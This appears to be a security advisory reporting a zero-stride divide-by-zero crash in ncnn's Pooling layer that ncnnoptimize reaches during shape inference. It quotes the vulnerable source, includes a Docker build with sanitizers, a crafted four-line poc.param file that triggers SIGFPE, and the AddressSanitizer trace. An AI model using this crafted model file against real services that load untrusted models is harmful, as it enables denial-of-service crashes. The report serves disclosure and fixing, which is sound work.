Zero Pooling Strides Crash ncnnoptimize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/pooling.cpp:372 in Pooling::make_padding
Sanitizer verdict: FPE on unknown address 0x5630eead76ba (pc 0x5630eead76ba bp 0x7ffd38e13ee0 sp 0x7ffd38e13c90 T0)

Summary

A crafted ncnn model with a Pooling layer whose strides are zero terminates ncnnoptimize with SIGFPE during shape inference. Pooling::load_param accepts 2=0 and 12=0 unchecked, and the full-padding branch of Pooling::make_padding takes the remainder of the padded input extent modulo those strides. Any workflow that optimizes or executes attacker-supplied .param files on the CPU path dies on a four-line text file — no weight data is needed.

Detail

The untrusted fields are Pooling parameter keys 2 (stride_w) and 12 (stride_h). pd.get(2, 1) only defaults when the key is absent, so an explicit zero is retained. make_padding is reached from Pooling::forward (src/layer/pooling.cpp:189) for ordinary pooling — the earlier global_pooling and adaptive_pooling branches return before it, which is why the PoC sets 4=0 and 7=0. With pad_mode == 0 (key 5=0, full padding) the strides are used as modulo divisors:

// src/layer/pooling.cpp:20
    pooling_type = pd.get(0, 0);
    kernel_w = pd.get(1, 0);
    kernel_h = pd.get(11, kernel_w);
    stride_w = pd.get(2, 1);
    stride_h = pd.get(12, stride_w);

// src/layer/pooling.cpp:370
    if (pad_mode == 0) // full padding
    {
        int wtail = (w + pad_left + pad_right - kernel_w) % stride_w;
        int htail = (h + pad_top + pad_bottom - kernel_h) % stride_h;

        if (wtail != 0)
            wtailpad = stride_w - wtail;
        if (htail != 0)
            htailpad = stride_h - htail;

The PoC layer is Pooling pool 1 1 data out 0=0 1=2 11=2 2=0 12=0 3=0 13=0 14=0 15=0 4=0 5=0 7=0 behind an 8x8x1 Input. At line 372 all the padding terms are zero, so the expression is (8 + 0 + 0 - 2) % 0. On x86 the % compiles to the same idiv instruction as division, so a zero divisor raises #DE and the process takes SIGFPE.

ncnnoptimize reaches this through optimizer.shape_inference() (tools/ncnnoptimize.cpp:2844), which calls ex.extract(top_blob_index, m) for each layer top (tools/modelwriter.h:435) and thereby actually executes the pooling layer. The crash occurs before any output model is written, and the PoC passes null for the weight file, so a parameter file alone is a complete trigger.

Reproduce

mkdir -p ncnn-poc-zero-pooling-strides-crash-ncnnoptimize && cd ncnn-poc-zero-pooling-strides-crash-ncnnoptimize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input input 0 1 data 0=8 1=8 2=1
Pooling pool 1 1 data out 0=0 1=2 11=2 2=0 12=0 3=0 13=0 14=0 15=0 4=0 5=0 7=0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x654d4c96e6ba (pc 0x654d4c96e6ba bp 0x7ffe39febe60 sp 0x7ffe39febc10 T0)
    #0 0x654d4c96e6ba in ncnn::Pooling::make_padding(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/pooling.cpp:372
    #1 0x654d4c9663f6 in ncnn::Pooling::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/pooling.cpp:189
    #2 0x654d4c9ecf58 in ncnn::Pooling_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/pooling_x86_avx512.cpp:802
    #3 0x654d4926df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #4 0x654d4925fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #5 0x654d492bf9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #6 0x654d491513c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #7 0x654d491ceeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #8 0x7fb2f95a61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7fb2f95a628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x654d4914e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/pooling.cpp:372 in ncnn::Pooling::make_padding(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst